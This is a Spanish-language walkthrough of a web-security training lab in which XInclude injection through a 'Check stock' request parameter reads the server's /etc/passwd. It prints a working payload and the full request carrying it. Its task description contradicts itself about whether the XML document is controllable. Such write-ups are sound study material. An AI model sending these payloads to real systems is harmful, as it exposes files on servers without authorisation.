XXE Injection Lab 7
Skills
- Exploiting XInclude to retrieve files
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio
tiene una función
de Check stock
que inserta
la entrada
del usuario
dentro de un documento XML
en el servidor
, el cual se procesa posteriormente. Dado que podemos controlar todo el documento XML
, no podemos definir
un DTD
para lanzar un ataque XXE
clásico. Para resolver
el laboratorio
, inyecta
una declaración XInclude
para obtener
el contenido
del archivo /etc/passwd
Resolución
Al acceder
a la web
nos sale esto
Si pulsamos en View details
veremos la descripción
del artículo
Si pulsamos en Check stock
y capturamos
la petición
con Burpsuite
vemos que se están tramitando dos campos
Como no tenemos el control sobre el documento XML
completo, no podemos cargar
un DTD
, sin embargo, podemos usar la función XInclude
para cargar contenido
1
2
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
Enviamos
este payload
, este importante probar todos los campos
para saber cual es el vulnerable
1
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
Obtenemos
la respuesta
del servidor
, la cual nos muestra
el /etc/passwd